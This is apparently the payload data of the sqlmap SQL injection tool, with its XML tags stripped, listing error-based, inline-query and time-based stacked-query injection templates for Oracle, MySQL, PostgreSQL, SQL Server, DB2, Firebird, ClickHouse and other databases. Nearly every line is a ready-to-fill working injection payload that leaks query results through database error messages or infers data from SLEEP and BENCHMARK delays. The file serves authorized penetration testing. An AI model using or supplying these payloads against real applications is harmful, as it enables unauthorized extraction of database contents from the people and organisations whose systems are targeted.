Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 2 3 1,9 2 OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle >= 8.1.6
Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 2 3 1 1,9 1 AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 2 3 3 1,9 2 OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 4 1 1,9 1 AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 4 3 1,9 2 OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird AND error-based - WHERE or HAVING clause 2 3 1 1 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
Firebird OR error-based - WHERE or HAVING clause 2 4 3 1 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
MonetDB AND error-based - WHERE or HAVING clause 2 3 1 1 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MonetDB
MonetDB OR error-based - WHERE or HAVING clause 2 4 3 1 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MonetDB
Vertica AND error-based - WHERE or HAVING clause 2 3 1 1 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Vertica
Vertica OR error-based - WHERE or HAVING clause 2 4 3 1 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Vertica
IBM DB2 AND error-based - WHERE or HAVING clause 2 3 1 1 1 AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
IBM DB2 OR error-based - WHERE or HAVING clause 2 4 3 1 1 OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 3 1 1,2,3,9 1 AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
ClickHouse
ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 4 3 1,2,3,9 1 OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
ClickHouse
MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE) 2 2 1 1,2,3,4,5 1 PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1) PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) 2 5 1 1,2,3,9 3 (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 error-based - Parameter replace (EXP) 2 5 1 1,2,3,9 3 EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET) 2 5 1 1,2,3,9 3 GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.6
MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS) 2 5 1 1,2,3,9 3 JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.7.8
MySQL >= 5.0 error-based - Parameter replace (FLOOR) 2 2 1 1,2,3,9 3 (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) 2 4 1 1,2,3,9 3 (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) 2 2 1 1,2,3,9 3 (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
PostgreSQL error-based - Parameter replace 2 2 1 1,2,3,9 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL error-based - Parameter replace (GENERATE_SERIES) 2 5 1 1,2,3,9 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) (CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase error-based - Parameter replace 2 3 1 1,3 3 (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase error-based - Parameter replace (integer column) 2 4 1 1,3 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Oracle error-based - Parameter replace 2 3 1 1,3 3 (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird error-based - Parameter replace 2 4 1 1,3 3 (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
IBM DB2 error-based - Parameter replace 2 4 1 1,3 3 RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED) 2 5 1 2,3 1 ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP) 2 5 1 2,3 1 ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s) ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET) 2 5 1 2,3 1 ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.6
MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS) 2 5 1 2,3 1 ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x) ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.7.8
MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 4 1 2,3 1 ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE) 2 3 1 2,3 1 ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML) 2 5 1 2,3 1 ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 3 1 2,3 1 ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 4.1
PostgreSQL error-based - ORDER BY, GROUP BY clause 2 3 1 2,3 1 ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES) 2 5 1 2,3 1 ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) ,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase error-based - ORDER BY clause 2 4 1 3 1 ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Oracle error-based - ORDER BY, GROUP BY clause 2 4 1 2,3 1 ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird error-based - ORDER BY clause 2 5 1 3 1 ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) ,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
IBM DB2 error-based - ORDER BY clause 2 5 1 3 1 ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
Microsoft SQL Server/Sybase error-based - Stacking (EXEC) 2 2 1 1-8 1 ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR] ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR] -- [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
sqlmap-1.9.6/data/xml/payloads/inline_query.xml000066400000000000000000000125521502261744200216060ustar00rootroot00000000000000 Generic inline queries 3 1 1 1,2,3,8 3 (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] MySQL inline queries 3 2 1 1,2,3,8 3 (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
PostgreSQL inline queries 3 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase inline queries 3 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Oracle inline queries 3 2 1 1,2,3,8 3 (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
SQLite inline queries 3 3 1 1,2,3,8 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
SQLite
Firebird inline queries 3 3 1 1,2,3,8 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
ClickHouse inline queries 3 3 1 1,2,3,8 3 ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
ClickHouse
sqlmap-1.9.6/data/xml/payloads/stacked_queries.xml000066400000000000000000000602621502261744200222570ustar00rootroot00000000000000 MySQL >= 5.0.12 stacked queries (comment) 4 2 1 1-8 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 stacked queries 4 3 1 1-8 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME])
MySQL >= 5.0.12
MySQL >= 5.0.12 stacked queries (query SLEEP - comment) 4 3 1 1-8 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 stacked queries (query SLEEP) 4 4 1 1-8 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL < 5.0.12 stacked queries (BENCHMARK - comment) 4 3 2 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) #
MySQL
MySQL < 5.0.12 stacked queries (BENCHMARK) 4 5 2 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
MySQL
PostgreSQL > 8.1 stacked queries (comment) 4 1 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME]) --
PostgreSQL > 8.1
PostgreSQL > 8.1 stacked queries 4 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME])
PostgreSQL > 8.1
PostgreSQL stacked queries (heavy query - comment) 4 2 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) --
PostgreSQL
